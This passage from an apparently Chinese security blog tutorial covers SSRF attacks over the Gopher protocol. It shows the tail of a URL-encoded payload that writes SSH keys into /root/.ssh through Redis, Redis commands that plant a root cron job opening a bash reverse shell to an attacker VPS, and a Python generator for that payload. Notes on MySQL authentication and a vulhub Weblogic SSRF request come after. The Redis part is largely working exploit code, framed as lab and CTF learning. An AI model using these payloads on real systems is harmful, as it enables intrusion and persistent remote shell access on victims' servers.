50D%250A%2Froot%2F.ssh%2F%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%252410%250D%250Adbfilename%250D%250A%252415%250D%250Aauthorized_keys%250D%250A%252A1%250D%250A%25244%250D%250Asave%250D%250A

如下图,成功在主机192.168.52.131上面写入SSH公钥:
在这里插入图片描述

如下图,ssh连接成功:
在这里插入图片描述

6.3 创建计划任务 反弹 Shell

注意:这个只能在Centos上使用,别的不行,好像是由于权限的问题。

构造redis的命令如下:

flushall
set 1 '\n\n*/1 * * * * bash -i >& /dev/tcp/47.xxx.xxx.72/2333 0>&1\n\n'
config set dir /var/spool/cron/
config set dbfilename root
save

// 47.xxx.xxx.72为攻击者vps的IP

然后编写脚本,将其转化为Gopher协议的格式:

import urllib
protocol="gopher://"
ip="192.168.52.131"
port="6379"
reverse_ip="47.xxx.xxx.72"
reverse_port="2333"
cron="\n\n\n\n*/1 * * * * bash -i >& /dev/tcp/%s/%s 0>&1\n\n\n\n"%(reverse_ip,reverse_port)
filename="root"
path="/var/spool/cron"
passwd=""
cmd=["flushall",
	 "set 1 {}".format(cron.replace(" ","${IFS}")),
	 "config set dir {}".format(path),
	 "config set dbfilename {}".format(filename),
	 "save"
	 ]
if passwd:
	cmd.insert(0,"AUTH {}".format(passwd))
payload=protocol+ip+":"+port+"/_"
def redis_format(arr):
	CRLF="\r\n"
	redis_arr = arr.split(" ")
	cmd=""
	cmd+="*"+str(len(redis_arr))
	for x in redis_arr:
		cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")
	cmd+=CRLF
	return cmd

if __name__=="__main__":
	for x in cmd:
		payload += urllib.quote(redis_format(x))
	print payload

生成的payload同样进行url二次编码,然后利用Ubuntu服务器上的SSRF打过去,即可在目标主机192.168.52.131上写入计划任务,等到时间后,攻击者vps上就会获得目标主机的shell:

在这里插入图片描述[GKCTF2020]EZ三剑客-EzWeb这道题利用的就是攻击内网Redis的思路。

7. 攻击内网 FastCGI

这个在哪个 FasciCGI 中讲了好多了。一样的把,,,

8. 攻击内网 Mysql

在这里插入图片描述

首先我们要先了解一下MySql数据库用户认证的过程。MySQL分为服务端和客户端。MySQL数据据库用户认真采用的是 挑战/应答 的方式, 即:服务器生成该挑战码(scramble)发送给客户端,客户端用挑战码 将自己的密码进行加密之后,并将相应的加密结果返回给服务器,服务器本地用挑战码将用户的密码加密,如果加密的结果和用户返回的加密的结果相同,则用户认证成功,从而完成用户认证的过程。(用户是注册过的。用户的密码服务端是事先知道的。)

登陆时需要用服务器发来的挑战码(scramble)将密码加密,当时当数据库用户密码为空时,加密后的密文也为空了。客户端给服务点发的认证包就是相对固定的了。这样就无需交互了。可以通过Gopher协议来直接发送了(但是,这样认证过不了啊,,???不太懂。。)

测试环境如下:

在这里插入图片描述

9. 实战:Weblogic SSRF 漏洞利用(没学,搬运大佬的。)

eblogic中存在一个SSRF漏洞,利用该漏洞可以发送任意HTTP请求,进而攻击内网中redis、fastcgi等脆弱组件。

OracleWebLogicServer是美国甲骨文(Oracle)公司的一款适用于云环境和传统环境的应用服务器,它提供了一个现代轻型开发平台,支持应用从开发到生产的整个生命周期管理,并简化了应用的部署和管理。OracleFusionMiddleware10.0.2.0和10.3.6.0版本的OracleWebLogicServer组件中的WLS-WebServices子组件存在安全漏洞。远程攻击者可利用该漏洞读取数据,影响数据的保密性。

影响版本:weblogic 10.0.2 – 10.3.6.0

我们利用vulhub来搭建测试环境 : https://github.com/vulhub/vulhub

编译及启动测试环境:

docker-compose up -d

访问http://your-ip:7001/uddiexplorer/,无需登录即可查看uddiexplorer应用。

SSRF漏洞存在于http://your-ip:7001/uddiexplorer/SearchPublicRegistries.jsp,我们在brupsuite下测试该漏洞。访问一个可以访问的IP:PORT,如http://127.0.0.1:80

GET /uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://127.0.0.1:7001 HTTP/1.1
Host: localhost
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close

10. Ending …

在这里插入图片描述

大佬牛逼!!!

  • 1
    点赞
  • 19
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值